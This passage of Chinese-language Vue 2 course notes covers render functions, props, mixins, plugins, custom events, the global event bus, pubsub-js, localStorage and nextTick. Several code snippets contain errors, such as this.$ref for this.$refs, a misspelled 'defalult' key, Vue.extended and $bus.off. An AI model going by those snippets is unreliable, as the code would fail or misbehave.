	</noscript>

	<!-- 容器 -->
	<div id="app"></div>
  </body>
</html>

main.js详解

/* 
本文件是整个项目的入口文件
*/
import Vue from 'vue' // 引入Vue
import App from './App.vue' // 引入App组件,它是所有组件的父组件

Vue.config.productionTip = false //关闭vue的生产提示

//创建Vue实例对象---vm
new Vue({
	el:'#app',
	// render函数的功能: 将App组件放入容器中

	// render的写法1: 最原始写法
	render(createElement){
		return createElement('h1',"你好啊") // 创建一个'h1'标签/元素,元素中的内容是"你好啊"
	},

	// render的写法2: 改写成箭头函数
	render:(createElement)=>{
		return createElement('h1',"你好啊") 
	},

	// render的写法3: 改写成箭头函数,且如果只有一个参数可以省略括号,直接写成"参数=>{函数体}"的形式
	render:createElement=>{
		return createElement('h1',"你好啊")
	},

	// render的写法4: 改写成箭头函数,且如果只有一个参数且函数体只有一句代码,而且是return,可以写成以下形式
	render:createElement=>createElement('h1',"你好啊"),

	// render的写法5: 因为createElement是形参,可以任意自定义形参名称,可以是q或h或任意字母,所以可以写成以下形式: 
	render:h=>h('h1',"你好啊"),

	// 如果是组件,可以直接传给形参createElement函数,调用
	render:h=>h(App),

	// template:`<h1>你好啊</h1>`,
	// 如果使用template解析模板,浏览器控制台报错,说明上面的import Vue from 'vue'引入的vue不是引入完整的vue,而是少了模板解析器的vue
	// ,按住Ctrl点击import Vue from 'vue'的'vue',找到该文件所在的包即vue包,该包内有个package.json文件
	// ,import Vue from 'vue'意思是引入vue这个包,具体是vue这个包的哪个js文件得由package.json中的"module"这个字段指定的值的所指的js文件
	// ,比如是'dist/vue.runtime.esm.js'(esm是ES module的意思,表示使用ES6的模块化)
	// ,这个文件是个残缺版的vue它没有模板解析器,所以用不了template这个字段来解析模板。
	// 如果要引入完整版的vue,将import Vue from 'vue'改为import Vue from 'vue/dist/vue'即可。
	// 第二个方法是使用render代替template,然后使用render来创建和渲染标签模板

	// components:{App},
})

关于不同vue.xx.js文件
如上面的代码,如果使用template配置来解析模板,可能因为引入的vue不是完整的vue,完整的vue是由Vue的核心 (生命周期处理事件等) 和模板解析器两部分组成的,所以不是完整的vue可能没有模板解析器就报错了。为什么vue要搞这么多版本,有的版本没有模板解析器?
因为模板解析器占用了vue.js将近1/3的体积,模板解析器是在编译打包成js、html、css时用的,开发完成之后就用不到模板解析器了,如果每次请求网页时请求到的vue.js文件都是完整版的vue.js文件,会很浪费带宽、时间资源。所以一般线上使用的都是精简版的vue,文件名有runtime的,没有模板解析器的vue,使用render来解析即可。
组件中的根标签<template>标签,是vue使用的pakage.json中的vue-template-compiler这个库来解析的,这个库是专门用来解析.vue文件中的<template>标签的,所以main.js中new Vue时不能解析template配置的<template>标签。

【老师笔记】关于不同版本的Vue

  1. vue.js与vue.runtime.xxx.js的区别:

    • vue.js是完整版的Vue,包含: 核心功能+模板解析器。
    • vue.runtime.xxx.js是运行版的Vue,只包含vue的核心功能,不包含模板解析器。
  2. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去解析指定具体内容。


修改脚手架的默认配置

Vue脚手架隐藏了所有webpack相关的配置,若想查看具体的webpack配置,执行命令行: vue inspect > output.js就能把webpack的配置整理成.js,但该文件只是用于浏览,修改该文件并不会真的修改webpack配置。打开output.js,在文件末尾会看到entry:{app:['./src/main.js']},这里就是指定的入口文件的配置。

脚手架项目中不能改的默认配置

  1. 禁止修改public文件夹名称,及其里面的文件名favicon.ico、index.html
  2. 禁止修改src文件夹名称,及其里面的文件名main.js

脚手架项目中可以修改的默认配置
如果需要修改架项目的默认配置,在和package.json同级的目录下创建文件vue.config.js,去cli.vuejs.org/zh/的配置参考页,左侧栏里的配置项都可以改,点击左侧栏的pages,将内容复制到vue.config.js,该配置项可以修改入口文件等,内容如下 (修改过vue.config.js后一定要执行npm run serveyarn serve才能生效)

vue.config.js

module.exports = {
	pages: {
	index: {
		entry: 'src/main.js', // 修改入口文件的路径。不需要更改的配置项可以删除 (如果一个配置对象是空的,一定要删除,不能注释,注释了以后配置就会被自己的空配置给覆盖,比如index这个对象中没有配置项就删除,不要注释里面的配置项) 
		template: 'public/index.html', // 模板路径
		filename: 'index.html', // 在编译后的输出文件,这里输出到dist/index.html
		title: 'Index Page', // 当使用 title 选项时,template 中的 title 标签需要是 <title><%= htmlWebpackPlugin.options.title %></title>
		chunks: ['chunk-vendors', 'chunk-common', 'index'] // 在这个页面中包含的块,默认情况下会包含提取出来的通用 chunk 和 vendor chunk。
	},
	subpage: 'src/subpage/main.js'
	// 当使用只有入口的字符串格式时,模板会被推导为 `public/subpage.html`
	// 并且如果找不到的话,就回退到 `public/index.html`。输出文件名会被推导为 `subpage.html`。
	}
}

如何关掉语法检查配置项,去脚手架官网找配置项lintOnSave,只要在vue.config.js中的配置对象第一层级 (即和pages同级) 下添加属性lintOnSave:false即可,比如:

module.exports = {
  pages: {
	index: {
	  // page 的入口
  },
  lintOnSave:false, // 设置该值为false即可关闭语法检查
}

ref属性

传统的开发方式如果要操作DOM,使用id获取元素然后操作,比如:

<div id="school">这是学校标签</div>
let elmt = document.getElementById("school"); // 拿到上面的标签 (真实DOM元素) ,可以操作

但是在Vue中,使用ref替代id来实现相同或更强大的功能

<div ref="divref">这是学校标签</div>
<School ref="school2">这是学校标签</School> //如果给组件标签使用ref属性,则使用“$ref.ref的值”获取的是该组件的实例对象

let elmt = this.$ref.divref; // 拿到上面的div标签 (真实DOM元素) 
console.log(elmt);// 

let elmt2 = this.$ref.school2; // 拿到上面的School组件的实例对象
console.log(elmt2);// 

【老师笔记】ref属性

  • ref属性是用来给元素或子组件注册引用信息的 (id的替代者)
  • 将ref属性应用在html标签上时获取的是真实DOM元素,应用在组件标签上是组件实例对象 (vc)
  • 使用ref属性的2个步骤
    1. 给元素打标识: <h1 ref="xxx">.....</h1><School ref="xxx"></School>
    2. 获取打标识的元素对象: this.$refs.xxx

props配置/父组件给子组件传数据

props是用在子组件中,与data同级的配置,值是列表,列表中的元素是字符串类型的要接收父组件传进来的参数名。父组件给子组件标签定义了什么属性名,传进来的参数名就是这个属性名。

School是父组件,Student是School的子组件,父组件往往子组件传数据:

  1. 父组件传数据

    • 方式1: <Student name="李四" sex="女" age="18">,这种方式传进子组件的数据类型都是字符串。传进去的字段名不能是关键字,比如"key"
    • 方式2: <Student name="李四" sex="女" :age="18">,使用:v-bind:作为属性的前缀,表示传进去的是js表达式的结果,也就是:age="18"中的18是可以任意的有返回值的js表达式
  2. 子组件接收数据

    • 方式1: 在Student与data同级,定义属性props:['name','sex','age'],简单声明接收
    • 方式2: 在Student与data同级,定义属性props:{name:String,sex:String,age:Number},指定接收的参数的数据类型,限制传进来的数据类型是什么
  3. 子组件使用接收到的数据

    • <div>{{name}}: {{sex}}-{{age}}</div>
    • 对接收的数据做更多限制的方法: props:{name:{type:String,required:true},age:{type:String,defalult:99},sex:{type:String,required:true}},参数说明:
      • type: 配置参数数据类型
      • required: 是否要求父组件必须要给本组件传这个参数
      • defalult: 参数默认值,如果父组件不给本组件传这个参数,则使用defalult给的值。
  4. 注意
    子组件接收到的props是不允许在子组件中修改的,即不能修改传进来的数据,否则报错。如果非要改,则在子组件的 data 中定义和 props 中不重名的字段 (重名会导致 data 字段和 props 中的字段冲突,如果有冲突props中的字段优先级更高) 作为中间字段,然后把要改的字段赋值给中间字段,再修改中间字段即可。比如定义myage作为age的中间字段,然后就可以修改myage实现类似于间接修改传进来的age字段了: {data(){myage:this.age},props:['age']}

  5. 使用props的场景

    • 父组件给子组件传递数据
    • 子组件和父组件通信,比如子组件可以调用父组件的方法,以及给父组件传数据。做法: 父组件定义一个函数,并将该函数作为参数传给子组件,然后子组件再调用该函数,即可往里面传参
  6. 使用 v-model 时要切记: 在子组件中v-model绑定的值不能是props传过来的值,因为props是不可以修改的。

  7. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做,因为vue不允许改props传过来的数据。

  8. 不使用props接收数据的方法: 如果不使用props接收数据,也可以直接使用当前组件实例对象的$attrs里面也可以获取到父组件传输过来的数据,只不过这样获取数据会麻烦点,也无法对传的参数的数据类型做限制。如果使用使用props接收数据后,数据就不会传到$attrs里面了,也就不能从$attrs中获取数据了。


mixin(混入/混合)

mixin的作用是实现两个或多个组件共享一个配置,比如data,methods等,比如两个组件的methods中的某个函数逻辑一样时,就可以将这两个组件的这个逻辑相同的函数抽取出来,比如抽取到xxx.js中。
xxx.js:

export const a =  {
	methods:{
		showName(){
			// 业务逻辑
		}
	}
}

export const b =  {
	methods:{
		showName(){
			// 业务逻辑
		}
	}
}

然后再要引入这个methods配置的组件中引入import {a} from "(路径)/xxx.js",引入后在和data同级,添加属性mixins:[a]即可

混合冲突时优先级问题
如果外部混合进来的配置 (除了生命周期中的钩子函数) ,在组件中原本就有,那就以组件的为准,而忽略混合进来的数据。比如混合进来data中有count属性: 值为30,原本的组件也有count属性: 值为10,那么就不将count属性混合进来。
如果混合的是生命周期,会先执行混合进来的生命周期的钩子函数,再执行组件自己定义的生命周期钩子函数。

全局混合
全局混合: 将配置项混合到所有的vm和vc中去,比如将xxx文件中的配置在main.js中设为全局混合:
main.js

import App from './App.vue'
import {a,b} from "(路径)/xxx.js"

Vue.mixin(a);
Vue.mixin(b);
new Vue(...);

【老师笔记】mixin

  • 功能: 可以把多个组件共用的配置提取成一个对象混合到这些组件当中
  • 使用步骤:
    1. 定义混合xxx.js: {data(){....},methods:{....}....}
    2. 导入混合: import {a,b} from "(路径)/xxx.js"
    3. 使用混合
      • 全局混入: Vue.mixin(xxx)
      • 局部混入: mixins:['xxx']

自己写vue插件

定义vue里的插件,Vue的插件本质就是对象,但该对象必须包含install()方法,vue会调用这个install()方法,步骤如下:

  1. 在src下创建文件plugins.js,内容: export default {install(Vue){}}

  2. 导入并使用插件(在main.js的new Vue之前,使用导入并使用):

import plugins from 'plugins'
Vue.use(plugins) // 如果在use传入的是多个参数,则在定义时的install是可以接收到这些参数的,install是一个可变长参数的函数,Vue.use(plugins,x,xx,xxx,...)传了多少个参数,install(Vue,x,xx,xxx,...)就能收到多少个参数
new Vue({...})

比如定义的plugins.js内容为:

export default {
	install(Vue,x,y,z){
		console.log(x,y,z)

		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		}),

		//定义全局指令
		Vue.directive('fbind',{
			//指令与元素成功绑定时 (一上来) 
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		})

		//定义混入
		Vue.mixin({
			data() {
				return {
					x:100,
					y:200
				}
			},
		})

		//给Vue原型上添加一个方法 (vm和vc就都能用了) 
		Vue.prototype.hello = ()=>{alert('你好啊')}
	}
}

在main.js中使用插件:

import plugins from 'plugins'
Vue.use(plugins)

然后vm和所有vc就都拥有了插件中的所有功能,比如所有的组件都可以使用mySlice这个过滤器,以及自定义指令、混入的数据等…


scoped样式

**背景:**不同组件中的css样式最终编译后都会合并到一个文件中,如果不同组件中的css样式有重名的话,后引入(后import)的组件同名样式就会覆盖先引入的样式。

**解决方案:**在每个组件的样式标签中使用scoped属性即可,那么这个样式的作用域就只是当前组件的了。比如<style scoped>.demo{background-color: #fff;}</style>。但是App组件不适合用scoped,如果要将一个样式给所有组件用,就将该样式定义在App组件里,且不要用scoped属性,这样所有组件都可以使用App组件的样式了。

vue的实现scoped的原理:
vue在编译时会给当前组件的根标签加上一个"data-v-随机字符串"作为属性,然后css会使用原有的css+[属性选择器]作为最终的css选择器,选到对应的组件对应的css样式。比如原组件中写的是<div class="demo">...</div> <style scoped>.demo{background-color: #fff;}</style>,最终生成的是<div [data-v-ksdfn class="demo"></div> <style> .demo[data-v-ksdfn]{background-color: #fff;}</style>,实现了局部样式

如果安装了less加载器,就可以在vue中使用less来编写样式: <style lang="less" scoped></style>。使用npm i less-loader安装最新版 (强烈不推荐安装最新版,会报错) ,因为vue脚手架用的webpack版本不是最新版 (可以看node-module中的webpack的package.json的version看vue脚手架用的webpack的版本) ,而npm i less-loader所安装的最新版的less-loader应该是给webpack的最新版去用,所以版本就不匹配了。建议安装7.xx版的less-loader: npm i less-loader@7,安装7版本的最新版。
使用终端命令npm view 包名 versions可以查看某个包一共有多少版本,目前最新是哪个版本。
使用终端命令npm view webpack versionsnpm view less-loader versions可以查看webpack和less-loader一共有多少版本,目前最新是哪个版本。


Todo-list案例/组件化编码 (写代码) 流程

编码流程

拿到项目需求后,先别着急写代码。先想好嵌套关系,可以拆分成几个组件。一个比较合理的拆分是按功能来拆分,因为一个组件的定义就是实现界面功能代码及功能的集合。比如Todo-list案例里,输入框可以是一个组件,通过该组件添加一个Todo。TODO列表 (整体的列表元素的一个容器) 也是一个组件,TODO列表还可以拆分成item (TODO条目) 组件,底部的汇总和功能按钮也是一个组件。

通用的组件化编码流程

  1. 拆分静态组件 (不包含动态数据) : 组件要按照功能点拆分,组件的命名不要与html标签相同,否则会有冲突。先使用组件实现静态页面效果,先把HTML代码结构、css写在App组件中,然后从App组件中抽到子组件中。
  2. 实现动态组件: 考虑好数据的存放位置,数据是只在当前组件用到还是其他组件也会用到这些数据
    • 一个组件在用: 数据放在组件自身即可。
    • 一些组件在用: 放在他们共同的父组件上 (这个操作就叫状态提升,被修改了的数据界面或其他地方也会收到影响的数据就叫状态数据,把数据提升到上一层级的,就叫状态提升) 。
  3. 实现交互: 从绑定事件开始

在一个标签里如何动态决定是否要有某一个属性

<input type="checkbox" :checked="变量"> <!-- 如果变量是true,这属性就存在,否则就不存在 -->
<input type="checkbox" :checked="todo.done">

获取输入框中的值的2种办法

使用回车响应事件: <input type="text" @keyup.enter="add">

  1. 方法1: 在add回调时候,获取add的事件对象 (即触发add的标签) 的value值: add(event){let input_content = event.target.value;event.target.value='';} // 获取输入框中的值后清空输入框
  2. 方法2: 使用v-modle:进行双向绑定,将输入框的值和data的值绑定,操作data中的变量即可实现清空输入框,或获取输入框的值的操作。

生成唯一id的做法/随机数/随机字符串

  1. uuid,根据网卡、地址等生成的一个id,但是该值很大,引入的包也很大。
  2. nanoid,是uuid长度上做了一些精简。这个库非常小,推荐用这个。使用npm i nanoid

nanoid的使用
使用npm i nanoid安装好后,在要使用它的组件里面引入并使用

import {nanoid} from "nanoid"
console.log(nanoid()); // 直接调用会返回一个唯一的字符串

同层级组件/没有嵌套包裹关系的组件之间如何通讯(传输数据)

**方法1: **
如果两个组件是同级的,被同一个组件嵌套包裹着,应该把要通讯的数据放在他们的共同的父组件中。
然后在父组件中定义一个函数,将这个函数作为参数传进子组件中,然后子组件把自己的数据作为参数调用该函数,就实现了子组件调用父组件的函数,该函数中就可以对父组件中的数据进行修改,自然也就可以修改这两个子组件的共同的数据了。比如:

<!-- 父组件A: 父组件里有两个同级的B和C组件 -->
<div>
	<B组件 :参数名="BC共用的数据list"/>
	<C组件 :参数名="给C组件的方法"/>
</div>

{
	data:{
		BC共用的list:[] // B和C组件需要共用到的数据
	},
	methods:{
		给C组件的方法(value){ // 需要传给C组件的回调函数,在C组件的标签中作为参数传过去
			this.BC共用的list.unshift(value)。 // 如果数据是数组,一定要使用unshift这些能被vue监视的list自带的方法。
		}
	}
}

<!-- 子组件B: 略 -->

<!-- 子组件C -->
<div>
	<input type="text" @keyup.enter="addTodo"> 
</div>
{
	data:{
		BC共用的list:[]
	},
	props:["给C组件的方法",], // 接收A组件传过来的回调方法
	methods:{
		addTodo(event){// 注意: 在vue中的变量和方法名不能用add,add已经是一个内置属性了,会有冲突,所以这里定义函数名是addTodo
			this.给C组件的方法(event.target.value) // 把C组件的获取到的数据,通过回调函数传给A组件,A组件再在函数"给C组件的方法"中操作A组件中共有的数据“BC共用的list”,然后传给B组件中的数据自然也被修改了
			event.target.value = ''; // 清空输入框
		}
	}
}

以上代码的执行流程:

  1. C组件输入文字后,敲回车就调用addTodo()
  2. 在addTodo()拿到当前输入框输入的内容后,将内容作为参数调用父组件的"给C组件的方法"
  3. 父组件A的"给C组件的方法"会将传进来的参数添加到父组件的列表"BC共用的list"中,因为是使用列表的unshift,可以被vue监视到变化
  4. vue监视到变化后重新渲染A父组件的模板,渲染到组件B、C的标签时,传进去的数据是第3步已经修改过后的数据
  5. 所以组件B、C也会跟着数据更新

方法2: 不建议此做法
在两个组件中使用v-model绑定的对象类型的数据,该数据也会共享,即在不同两个组件,使用v-model绑定的同一个数据,都可以被这两个组件修改。但是不建议这么做,修改props中的数据是Vue禁止的一个原则,所以使用props接收的数据,原则上来说是不可以被修改 (props中对应的值被修改才叫被改,如果是对象中的某个属性值被修改不叫改,所以是可以修改对象中的属性值)


获取checkbox的状态的两种方式

<input type="checkbox" @change="methods中的回调函数">
<input type="checkbox" @click="methods中的回调函数">

methods中的回调函数(event){
	event.target.checked // 这样就拿到了checkbox是否被选中
}

鼠标悬浮在元素上时有发光或者有被选中的效果

鼠标悬浮在div上的时候,div背景颜色有改变: div:hover{background-color: #ddd;}
悬浮在div上的时候,div里的button显示出来: div:hover button{display:block}


alert高级用法

confirm和alert是类似的弹窗,不过confirm会给出一个确定或者取消的按钮,并获取返回值: if(confirm("确定删除吗?")){}


list中的方法

reduce():做条件统计用的,比如可以统计一个列表中的元素对象age值===18的元素有几个。
list对象.reduce((pre,current)=>{},0);第二个参数是代表0开始计数,pre是上一次的计数值,list对象有几个元素,(pre,current)=>{}这个函数就会被调用几次,第一次调用匿名回调函数时候,pre是第二个参数0,第二次调用的时候pre是第一次调用时的返回值,最后一次调用的返回值就是reduce的返回值。current就是每次遍历到的当前的对象。

案例: 汇总todolist中对象的done属性值是true的元素个数

let count = todolist.reduce((pre,current)=>{
	return pre + (current.done ? 1 : 0)
},0);

// 因为箭头函数只有return一行代码,所以上面代码可以简写成
let count = todolist.reduce((pre,current)=> pre+(current.done ? 1 : 0),0); 

浏览器的本地存储

localStorage和sessionStorage统称为webStorage,一般能存储的数据大小为5M左右 (不同浏览器不一样)

localStorage

  • 特点: 持久性存储,关闭浏览器或重启电脑数据不会丢失,除非用户清空浏览器缓存或调用localStorage的removeItem、clear等API才会清除数据。打开浏览器控制台(Ctrl+shift+i),在Application中可以查看本地存储的数据,双击可以修改键值对。
  • 存数据: window.localStorage.setItem("键","值"),windows可以省略,所以可以写成localStorage.setItem("键","值"),键值都必须得是字符串,如果值是直接存的是对象,则会调用对象的toString方法存进去,导致真实的数据并没有存进去。所以应该先JSON.stringify(对象)转为json对象再存。
  • 读数据: let a = localStorage.getItem("键"),如果读出来的是json字符串,JSON.parse(a)转为对象即可。如果不存在键,则读出的值就是null,那么JSON.parse(a)的结果也是null。
  • 删数据: localStorage.removeItem("键")
  • 清空数据: localStorage.clear()

sessionStorage

特点: 非持久性存储,用法和localStorage完全一样,把localStorage改成sessionStorage即可,区别是sessionStorage的数据在关闭浏览器或重启电脑后会丢失


data数据判断是否为空/数据判空

data:{a: JSON.parse(localStorage.getItem) || []} 如果JSON.parse(localStorage.getItem)null,则返回[]给变量a


组件的自定义事件/子组件给父组件传数据

组件的自定义事件: @click@keyup … 等等 这些是js的内置事件,内置事件是给html标签使用的。而自定义事件是给组件使用的。

即父组件给子组件传一个回调函数,并让子组件在合适时候 (比如点击某个按钮的时候) 回调这个函数,并把子组件中的数据当做参数调用回调函数,父组件的回调函数就收到这个数据了。参考点击事件,也是定义一个函数作为点击回调函数传给click事件,由click事件所在的标签对象来决定什么时候调用这个回调函数 (click中就会在元素被点击的时候,调用传进来的click函数)

比如<Student v-on:atguigu="demo"/>,在子组件的标签上使用了一个atguigu事件(给Student这个组件的实例对象vc上绑定了一个叫atguigu的事件),传一个参数demo,demo是父组件中的一个函数,当子组件触发atguigu事件时(执行this.$emit('atguigu')触发atguigu事件),父组件的demo函数就会被调用,如果要给回调函数demo传数据: this.$emit('atguigu',this.name,this.age,...)

如果只想被组件的自定义事件回调一次,用once这个方法: <Student v-on:atguigu.once="demo"/>

@"是"v-on:"的简写方式,两者可以互相替换使用


refs组件的自定义事件/子组件给父组件传数据

使用refs实现自定义事件,在父组件中通过this.$refs.student获取到组件对象后,组件对象.$on("自定义事件名", 自定义事件回调函数); (比如this.$refs.student.$on("atguigu", this.getStudentName); ) 的方式给子组件传一个回调函数,由子组件调用该回调函数,把数据通过回调函数的参数传回给父组件。

使用 组件对象.$on(eventName, eventCall) 设置监听事件
使用 组件对象.$emit(eventName) 触发事件

父组件School.vue:

<Student ref="student"/> <!-- 子组件 -->

<script>
	// this.$refs.student // 拿到上面Student组件的实例对象
	methods:{
		getStudentName(name){...}
	},
	mounted{
		// 给组件实例对象注册一个监听事件atguigu,监听回调函数是this.getStudentName函数
		this.$refs.student.$on("atguigu", this.getStudentName); 
		// 拿到Student组件的实例对象,然后把getStudentName函数作为回调函数,注册为这个组件实例对象的atguigu这个事件
		// ,这样当Student组件的atguigu事件被触发时 (在Student组件调用this.$emit('atguigu',参数1...)) ,就会调用getStudentName这个函数


		// 如果只想被组件的自定义事件回调一次,用$once这个方法
		// this.$refs.student.$once("atguigu", this.getStudentName); 
	}
	// 注意: 
	// 在this.$refs.student.$once("atguigu", this.getStudentName); 
	// 中传的回调函数this.getStudentName不能是匿名函数,
	// 比如不能写成this.$refs.student.$once("atguigu", function(){...this.xxx}); 如果这么写,那在这匿名函数里获取的this就是调用这匿名函数的对象 (即Student实例对象) ,
	// 因为这里是将该回调函数传给Student组件,由Student调用的该匿名函数(this.$emit('atguigu',参数1...)),所以这么写this.xxx的this就是Student组件实例对象。
	// 但如果写成this.$refs.student.$once("atguigu", ()=>{...this.xxx});这种箭头函数,就可以在该函数中使用this获取到的就是这段代码所在的组件实例对象 (也就是父组件School的实例对象) ,
	// 因为箭头函数没有自己的this,所以会往外层找this,就找到了School组件的实例对象
</script>

在vue中只要写的函数是函数名A(){}这种形式的,那么该函数内写的箭头函数内的this都是函数名A所在的实例对象。


父子组件间传递数据总结

  • 父组件给子组件传递数据: 使用props传递,比如<School :getschoolName="getschoolName"/>
  • 子组件给父组件传递数据
    • 方法1: 通过父组件给子组件绑定一个自定义事件实现,使用@事件名="回调函数"方式,比如<Student @atguigu="getStudentName"/>
    • 方法2: 通过父组件给子组件绑定一个自定义事件实现,使用ref="事件名"方式,比如<Student ref="student"/>

js函数接收多个参数

如果函数要接收多个参数 (可变长参数) 的另一种做法

demo(param1,...params){ // 那么第二个及之后的参数都会作为一个数组传进来,数组形参名为params,或者可以随意自定义
	函数体
}

解绑组件的自定义事件/解绑自定义事件

  • 解绑一个自定义事件: 比如要解绑Student组件的自定义事件atguigu,则在Student组件中调用this.$off("atguigu")
  • 解绑多个自定义事件: 则用数组传给$offthis.$off(["atguigu","demo"])
  • 解绑所有自定义事件: this.$off(); ,不传参数即可解绑所有当前组件的自定义事件

注意: vm或组件被销毁后,vue的事件或组件的自定义事件都会被销毁而不能调用,但是js原生的click等事件不会受到影响,依然能正常使用


在组件标签上调用原生的事件

如果在一个**组件标签**中使用@xxx方式调用原生事件比如@click,那么vue都会认为是在调用组件的自定义事件,比如<Student @click="abc"/>,这样点击Student组件时候是会报错的。
如果想给组件使用原生事件,得native修饰符来修饰事件,指明要调用的是js的原生事件: 比如<Student @click.native="abc"/>,那么点击该组件时,回调函数就可以像普通的js原生事件被调用了。


【老师笔记】组件的自定义事件总结

  1. 一种组件间通信的方式,适用于: 子组件 ===> 父组件
  2. 使用场景: A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件 (事件的回调在A中) 。
  3. 绑定自定义事件:
    • 方式1: 给子组件标签中使用@事件名="回调函数"v-on:事件名="回调函数"的方式绑定自定义事件,比如<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>
    • 方式2: 在子组件标签中使用ref="xxx",然后使用this.$refs.xxx获取到子组件的组件实例对象,然后使用组件实例对象.$on('atguigu',this.test)方式设置自定义事件名和回调函数。比如<Demo ref="demo"/> mounted(){this.$refs.xxx.$on('atguigu',this.test)}
    • 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法,比如this.$refs.xxx.$on('atguigu',this.test)
  4. 在子组件中触发自定义事件: this.$emit('atguigu',参数1,参数2,...)
  5. 子组件中解绑自定义事件:this.$off('atguigu')
  6. 组件标签上如果需要绑定原生DOM事件(比如click),需要使用native修饰符,比如<Student @click.native="abc"/>
  7. 注意: 通过this.$refs.xxx.$on('atguigu',回调)方式绑定自定义事件时,回调函数要么配置在methods中,要么用箭头函数,否则this指向会出问题!

全局事件总线

全局事件总线意义: 可以实现任意组件间的通信/传输数据/传递数据

初级做法(全局事件总线雏形/原理)
思路: Vue的原型可以被vm和vc看得到,那么往Vue的原型上增加一个属性,那么所有vc组件都能访问了,如果往Vue的原型上新增的属性是个vc对象,那么就可以在该vc对象上使用$on的方式注册自定义事件,就可以被$emit方式调用了。这样我们就可以使用这个vc作为一个数据中转站,用来给其他组件注册事件,或供其他组件调用已经注册的事件。

比如在main.js新建一个空的组件,并使用代码获取该组件的实例化对象,然后赋值给Vue的原型对象,那么其他的组件就可以访问Vue原型对象上的这个属性(组件类型),自然在任意组件中也就可以往这属性添加自定义事件,然后其他任意地方也可以通过$emit方式调用该自定义事件的回调了,也就能用参数传输数据了。

// 定义一个A组件作为数据中转组件
const A = Vue.extended({...})
Vue.prototype.x = new A(); // 在main.js中,将组件实例化对象赋值给Vue的原型作为属性,属性名为x

// 在B组件中,获取属性名为x的对象,因为B组件中找不到该属性,就会去父级属性找,找到Vue的原型的属性x(是个组件类型),并给它绑定名为hello的事件
this.x.$on('hello',(data) =>{console.log("我收到数据啦=", data)})

// 在C组件中,调用Vue.prototype.x的hello事件并传递出数据
this.x.$emit('hello', 123); /// 调用x(也就是A组件-数据中转组件的实例对象)的hello事件,并把参数传出去。然后数据123就从C组件,传到B组件了。B组件输出:"我收到数据啦=123"

进阶做法
在vm的beforeCreate()中,将vm对象赋值给Vue原型作为某个属性(Vue.prototype.x)即可,比如new Vue({beforeCreate(){Vue.prototype.x = this}});,这个操作叫安装全局事件总线。一般将该变量命名为$bus,即Vue.prototype.$bus(),然后在其他组件中就可以注册事件和调用事件,实现不同组件之间传递数据了。哪个组件要接收数据,就在这个组件的mounted()中注册事件;哪个组件要发出数据,就在哪个组件this.$emit("事件名称",参数)调用事件回调,把参数传给注册事件的组件就行了。
注:bus除了有公交的意思,也有总线的意思。前面加$是因为vue的$作为前缀的属性是给程序员使用的,所以为了统一,平时自定义的这个属性也使用$作为前缀

要注意的问题:

  1. 如果一个组件给全局事件总线注册了一个事件名为aaa的事件,那么其他组件就不能再注册名为aaa的事件了,否则会起冲突,所以要注意这个问题。
  2. 如果一个组件给全局事件总线注册了一个事件,那么在这个组件销毁之前,要给全局事件总线解绑这个事件,否则如果这个组件被销毁了,但是它注册的事件却还占用着总线,这就不好。使用this.$bus.off("事件名")方式销毁注册的事件

【老师笔记】使用事件总线总结

  1. 接收数据: 比如A组件想接收B组件的数据,则在A组件中给$bus绑定自定义事件,事件的回调定义在A组件中,在事件的回调的参数中接收数据。
   methods(){
	 demo(data1, data2...){... ...}
   }
   ... ...
   mounted() {
	 this.$bus.$on('xxxx',this.demo)
   }
  1. 发送数据: 在B组件中触发事件,并将数据传给事件回调函数,this.$bus.$emit('demo',数据1, 数据2..)
  2. 最好在绑定事件的组件的beforeDestroy()钩子中,用this.$bus.off("事件名")的方式去解绑当前组件所用到的事件

消息订阅与发布传递

消息订阅与发布也是为了满足不同组件间通讯的一种方式,消息订阅与发布是使用第三方库实现的。
【消息订阅与发布】和【报纸订阅与发布】一模一样,他们的过程和全局事件总线也是同一个道理,不同组件间的数据传递使用消息订阅与发布或全局事件总线这两个中的一个就好了。

报纸订阅与发布步骤
1. 订阅报纸: 给邮局提供自己家庭地址
2. 邮递员送报纸: 报纸

消息订阅与发布步骤
1. 订阅消息: 消息名 (相当于提供手机号给消息中心)
2. 发布消息: 消息内容

实现消息订阅的第三方库pubsub-js可以在任何一个支持js的框架中,实现发布、消息订阅的功能,在需要接收数据的地方订阅消息,在需要提供数据的地方发布消息。

  1. 安装: pubsub-js: npm i pubsub-js/cnpm i pubsub-js
  2. 引入: 在订阅消息和发布消息的组件中引入import pubsub from 'pubsub-js'
  3. 订阅消息(接收数据): const pubId = pubsub.subscribe('hello',function(msgName,data){}),第一个参数"hello"是要订阅的消息名,参数data是接收到的消息(传过来的数据),最好在beforeDestroy钩子中取消订阅pubsub.unsubscribe(pubId)
  4. 发布消息(发送数据): pubsub.publish('hello',666)

注意: 如果订阅消息的回调写成function(msgName,data){this.xxx}形式,那么该回调中的this就是undefind,应该写成箭头函数的形式(msgName,data)=>{}this就是当前组件实例对象了,要么把回调函数定义在methods中也可以

js中判断某个对象是否有某个属性/某个键:对象.hasOwnProperty('属性名')


让输入框获取焦点

<input type="text" ref="abc"> this.$refs.abc.focus();


nextTick生命周期钩子函数

nextTick()生命周期的钩子函数:在数据被修改,并渲染完成之后再执行的一个函数。
vc或vm对象.nextTick(function(){等模板渲染完成这里的代码才会执行})获取不到焦点可能是因为模板还没渲染完成就获取没有渲染出来的输入框的焦点了

Vue的数据被修改后的渲染流程:如果一个函数里修改了数据,并不会马上更新,而是会等这个函数执行完成,也就是这个函数中所有对数据的修改都完成后,结束了这个函数,才执行模板的渲染和更新。所以如果在这函数执行完成之前输入框绑定的v-showv-if,且该值是false(即该输入框是隐藏状态),那么在该函数中将输入框显示,然后对输入框获取焦点是没有效的。得等这个函数执行完成之后,重新把输入框渲染出来才能通过代码将输入框获取焦点。有以下2中解决方案。

  1. 方法1 (不推荐) : 使用setTimeout(()=>{this.$refs.abc.focus();},100)使用延时执行获取焦点
